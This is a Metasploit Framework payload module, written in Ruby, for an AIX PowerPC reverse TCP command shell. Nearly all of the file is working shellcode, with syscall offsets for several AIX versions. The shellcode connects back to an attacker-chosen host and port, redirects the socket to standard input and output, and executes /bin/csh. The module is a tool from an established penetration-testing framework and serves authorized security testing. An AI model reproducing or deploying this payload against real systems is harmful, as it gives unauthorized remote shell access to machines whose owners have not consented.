2008-11-13 01:58:36 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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2009-04-13 14:33:26 +00:00
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# http://metasploit.com/framework/
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2008-11-13 01:58:36 +00:00
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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module Metasploit3
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include Msf::Payload::Single
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'AIX Command Shell, Reverse TCP Inline',
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'Version' => '$Revision$',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'Ramon de Carvalho Valle <ramon[at]risesecurity.org>',
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'License' => MSF_LICENSE,
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'Platform' => 'aix',
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'Arch' => ARCH_PPC,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShell,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ 32, 'ADDR' ],
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'LPORT' => [ 30, 'n' ],
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},
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}
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))
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register_options(
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[
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OptString.new('AIXLEVEL', [ true, "AIX Level", "5.3.0" ]),
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], self.class)
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end
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def generate
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case datastore['AIXLEVEL']
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when '4.1.0'
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cal_socket = "\x38\x5d\xfe\x58" # cal r2,-424(r29) #
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cal_connect = "\x38\x5d\xfe\x59" # cal r2,-423(r29) #
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cal_close = "\x38\x5d\xfe\x5f" # cal r2,-417(r29) #
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cal_kfcntl = "\x38\x5d\xfe\xd7" # cal r2,-297(r29) #
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cal_execve = "\x38\x5d\xfe\x04" # cal r2,-508(r29) #
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when '4.2.0'
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cal_socket = "\x38\x5d\xfe\x5c" # cal r2,-420(r29) #
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cal_connect = "\x38\x5d\xfe\x5d" # cal r2,-419(r29) #
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cal_close = "\x38\x5d\xfe\x63" # cal r2,-413(r29) #
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cal_kfcntl = "\x38\x5d\xfe\xe8" # cal r2,-280(r29) #
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cal_execve = "\x38\x5d\xfe\x03" # cal r2,-509(r29) #
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when '4.3.0'
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cal_socket = "\x38\x5d\xfe\x6a" # cal r2,-406(r29) #
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cal_connect = "\x38\x5d\xfe\x6b" # cal r2,-405(r29) #
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cal_close = "\x38\x5d\xfe\x72" # cal r2,-398(r29) #
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cal_kfcntl = "\x38\x5d\xfe\xfd" # cal r2,-259(r29) #
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cal_execve = "\x38\x5d\xfe\x05" # cal r2,-507(r29) #
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when '4.3.3'
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cal_socket = "\x38\x5d\xfe\x79" # cal r2,-391(r29) #
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cal_connect = "\x38\x5d\xfe\x7a" # cal r2,-390(r29) #
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cal_close = "\x38\x5d\xfe\x83" # cal r2,-381(r29) #
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cal_kfcntl = "\x38\x5d\xff\x10" # cal r2,-240(r29) #
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cal_execve = "\x38\x5d\xfe\x04" # cal r2,-508(r29) #
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when '5.3.0'
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cal_socket = "\x38\x5d\xfe\x8e" # cal r2,-370(r29) #
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cal_connect = "\x38\x5d\xfe\x8f" # cal r2,-369(r29) #
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cal_close = "\x38\x5d\xfe\xa1" # cal r2,-351(r29) #
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cal_kfcntl = "\x38\x5d\xff\x43" # cal r2,-189(r29) #
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cal_execve = "\x38\x5d\xfe\x06" # cal r2,-506(r29) #
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end
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payload =
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"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
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"\x40\x82\xff\xfd" +# bnel <cntsockcode> #
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"\x7f\xc8\x02\xa6" +# mflr r30 #
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"\x3b\xde\x01\xff" +# cal r30,511(r30) #
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"\x3b\xde\xfe\x25" +# cal r30,-475(r30) #
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"\x7f\xc9\x03\xa6" +# mtctr r30 #
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"\x4e\x80\x04\x20" +# bctr #
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"\xff\x02\x04\xd2" +# .long 0xff0204d2 #
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"\x7f\x00\x00\x01" +# .long 0x7f000001 #
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"\x4c\xc6\x33\x42" +# crorc 6,6,6 #
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"\x44\xff\xff\x02" +# svca 0 #
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"\x3b\xde\xff\xf8" +# cal r30,-8(r30) #
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"\x3b\xa0\x01\xff" +# lil r29,511 #
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"\x38\x9d\xfe\x02" +# cal r4,-510(r29) #
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"\x38\x7d\xfe\x03" +# cal r3,-509(r29) #
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cal_socket +
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"\x7f\xc9\x03\xa6" +# mtctr r30 #
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"\x4e\x80\x04\x21" +# bctrl #
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"\x7c\x7c\x1b\x78" +# mr r28,r3 #
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"\x38\xbd\xfe\x11" +# cal r5,-495(r29) #
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"\x38\x9e\xff\xf8" +# cal r4,-8(r30) #
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cal_connect +
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"\x7f\xc9\x03\xa6" +# mtctr r30 #
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"\x4e\x80\x04\x21" +# bctrl #
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"\x3b\x7d\xfe\x03" +# cal r27,-509(r29) #
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"\x7f\x63\xdb\x78" +# mr r3,r27 #
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cal_close +
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"\x7f\xc9\x03\xa6" +# mtctr r30 #
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"\x4e\x80\x04\x21" +# bctrl #
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"\x7f\x65\xdb\x78" +# mr r5,r27 #
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"\x7c\x84\x22\x78" +# xor r4,r4,r4 #
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"\x7f\x83\xe3\x78" +# mr r3,r28 #
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cal_kfcntl +
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"\x7f\xc9\x03\xa6" +# mtctr r30 #
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"\x4e\x80\x04\x21" +# bctrl #
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"\x37\x7b\xff\xff" +# ai. r27,r27,-1 #
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"\x40\x80\xff\xd4" +# bge <cntsockcode+100> #
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"\x7c\xa5\x2a\x79" +# xor. r5,r5,r5 #
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"\x40\x82\xff\xfd" +# bnel <cntsockcode+148> #
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"\x7f\x08\x02\xa6" +# mflr r24 #
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"\x3b\x18\x01\xff" +# cal r24,511(r24) #
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"\x38\x78\xfe\x29" +# cal r3,-471(r24) #
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"\x98\xb8\xfe\x31" +# stb r5,-463(r24) #
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"\x94\xa1\xff\xfc" +# stu r5,-4(r1) #
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"\x94\x61\xff\xfc" +# stu r3,-4(r1) #
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"\x7c\x24\x0b\x78" +# mr r4,r1 #
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cal_execve +
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"\x7f\xc9\x03\xa6" +# mtctr r30 #
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"\x4e\x80\x04\x20" +# bctr #
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"/bin/csh"
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end
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end
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